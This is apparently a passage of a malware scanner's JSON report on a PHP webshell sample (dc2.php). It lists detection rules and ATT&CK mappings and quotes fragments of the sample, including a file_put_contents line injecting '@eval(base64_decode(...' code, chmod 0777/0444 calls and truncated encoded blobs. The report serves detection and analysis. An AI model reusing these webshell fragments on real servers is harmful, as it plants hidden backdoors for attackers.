"micro-behaviors/fs/chmod/modify::chmod-call", "l": 3 }, { "a": "T1505.003", "c": 0.8999999761581421, "d": "Single-file admin shell metrics", "e": [ "dc2.php" ], "i": "well-known/malware/webshell/zaco::single-file-webshell-metrics", "l": 3, "m": "B0030" }, { "a": "T1105", "c": 0.800000011920929, "d": "Creates or overwrites a local file", "e": [ "file_put_contents" ], "i": "micro-behaviors/fs/write/file/direct::file-put-contents", "l": 3, "m": "C0052" }, { "c": 0.699999988079071, "d": "PHP error suppression operator usage", "e": [ "@is_writeable($path)", "@file_get_contents($path)", "@chmod($path,0444)", "@file_put_contents($path, '\u003c?PHP /*shaputiangou1*/@eval(base64_decode(\"LyoqDQogKiBTaWduYXR1cmUgRm9yI...", "@chmod($path,0777)" ], "i": "micro-behaviors/os/stdio::error-suppress-prefix", "l": 3 }, { "a": "T1505.003", "d": "PHP open tag", "e": [ "\u003c?php" ], "i": "objectives/command-and-control/backdoor/webshell/request::php-tag", "l": 1, "m": "B0030" }, { "a": "T1027", "c": 0.8999999761581421, "d": "Exactly one line exceeds 1000 chars", "e": [ "text.lines_over_1000 = 1.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::single-long-line-outlier", "l": 1, "m": "B0032" }, { "a": "T1059.001", "c": 0.8999999761581421, "d": "Error-suppressed eval (@eval)", "e": [ "@eval(" ], "i": "objectives/execution/interpreter/eval/remote::eval-error-suppressed", "l": 4, "m": "E1059" }, { "a": "T1505.003", "c": 0.8399999737739563, "d": "Near-zero whitespace script", "e": [ "text.whitespace_ratio = 0.00" ], "i": "objectives/command-and-control/backdoor/webshell/stager::near-zero-whitespace", "l": 1 }, { "a": "T1505.003", "c": 1.0, "d": "Inequality check in WordPress user list", "e": [ "!=" ], "i": "objectives/command-and-control/backdoor/webshell/hide::wp-user-hiding-not-trait", "l": 1, "m": "B0030" }, { "a": "T1027", "c": 0.8999999761581421, "d": "Last line is over 1000 chars", "e": [ "text.last_line_length = 21959.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::last-line-over-1000", "l": 1, "m": "B0032" }, { "c": 0.8999999761581421, "d": "Very long line", "e": [ "text.max_line_length = 21959.00" ], "i": "metadata/file/text/metrics::single-long-line", "l": 1 }, { "a": "T1505.003", "c": 0.8999999761581421, "d": "Regex component marker", "e": [ "ZXZhbCg" ], "i": "objectives/command-and-control/backdoor/webshell/decoder::encoded-dangerous-php-base64--rx-4", "l": 1, "m": "B0030" }, { "a": "T1546", "c": 1.0, "d": "Writes data to a file via functions", "e": [ "file_put_contents(" ], "i": "micro-behaviors/fs/file/write/direct::php-file-write-func", "l": 2 }, { "c": 0.800000011920929, "d": "Very short file (under 12 lines)", "e": [ "text.total_lines = 2.00" ], "i": "metadata/file/text/metrics::file-under-12-lines", "l": 1 }, { "a": "T1505.003", "c": 0.949999988079071, "d": "Regex component marker", "e": [ "eval(base64_decode(" ], "i": "objectives/command-and-control/backdoor/webshell/decoder::eval-decoder-chain--rx-1", "l": 1, "m": "B0030" }, { "a": "T1027", "c": 0.8500000238418579, "d": "High function density", "e": [ "functions.density_per_100_lines = 50.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/functions::high-function-density", "l": 2, "m": "B0032" }, { "a": "T1027", "c": 0.699999988079071, "d": "Very low whitespace ratio (minified/compressed)", "e": [ "text.whitespace_ratio = 0.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::low-whitespace", "l": 2, "m": "B0032" }, { "a": "T1027", "c": 0.8999999761581421, "d": "PHP source contains very long line", "e": [ "text.max_line_length = 21959.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/identifiers::php-single-long-line", "l": 4, "m": "B0032" }, { "a": "T1082", "c": 0.6000000238418579, "d": "Accesses DOCUMENT_ROOT variable", "e": [ "$_SERVER['DOCUMENT_ROOT']" ], "i": "objectives/discovery/system/fingerprint/info::document-root-access", "l": 3, "m": "E1082" }, { "a": "T1027", "c": 0.800000011920929, "d": "High overall text entropy (encoded", "e": [ "text.char_entropy = 5.77" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::high-text-entropy", "l": 2, "m": "B0032" }, { "a": "T1505.003", "c": 0.9700000286102295, "d": "PHP decoder eval webshell", "e": [ "eval(base64_decode(", "base64_decode(\"LyoqDQogKiBTaWduYXR1cmUgRm9yIFJlcG9ydA0KICovJHgxMTM9J2FscGF0aCgkX0VfKWh0TlZbIlRFTVAiXylodF0pKSYmQGlzXylodF9yZWFkY" ], "i": "objectives/command-and-control/backdoor/webshell/decoder::php-decoder-eval-webshell", "l": 5, "m": "B0030" }, { "a": "T1027", "c": 0.8999999761581421, "d": "Minified/compressed code (multiple indicators)", "e": [ "functions.density_per_100_lines = 50.00", "text.whitespace_ratio = 0.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::minified-code", "l": 2, "m": "B0032" }, { "c": 0.8999999761581421, "d": "Encoded payload detected: base64", "e": [ "/** * Signature For Report */$x113=' \u003cbase64\u003e" ], "i": "metadata/encoded-payload/base64", "l": 3 }, { "c": 0.8999999761581421, "d": "php webshell containing base64 encoded payload", "e": [ "\u003c?php", "\u003c?", "\u003c?PHP", "ZXZhb", "base64_decode", "ldmFs" ], "i": "third_party/SigBase/WEBSHELL/PHP/Base64/Encoded/Payloads", "l": 5 }, { "c": 0.8999999761581421, "d": "PHP webshell which directly eval()s obfuscated string", "e": [ "\u003c?php", "\u003c?PHP", "\u003c?", "eval(base64_decode(" ], "i": "third_party/SigBase/WEBSHELL/PHP/Gzinflated", "l": 5 }, { "c": 0.8999999761581421, "d": "PHP webshell using $a($code) for kind of eval with encoded blob to decode, e.g. b374k", "e": [ "eval(", "\u003c?php", "\u003c?", "\u003c?PHP", "ase6" ], "i": "third_party/SigBase/WEBSHELL/PHP/Dynamic/Big", "l": 5 }, { "c": 0.8999999761581421, "d": "PHP webshell using some kind of eval with encoded blob to decode, which is checked with YARAs math.entropy module", "e": [ "\u003c?php", "\u003c?", "\u003c?PHP", "eval(b" ], "i": "third_party/SigBase/WEBSHELL/PHP/Encoded/Big", "l": 5 } ], "sha": "937699f2d8021333ec355d4e0d1df73e7d0d5c156352e4c9bef9d19da55ea201", "path": "/data/samples/bad/datasets/php-malware-analysis/gsptg.php/dc2.php", "type": "php" } ], "tv": "a9555" } }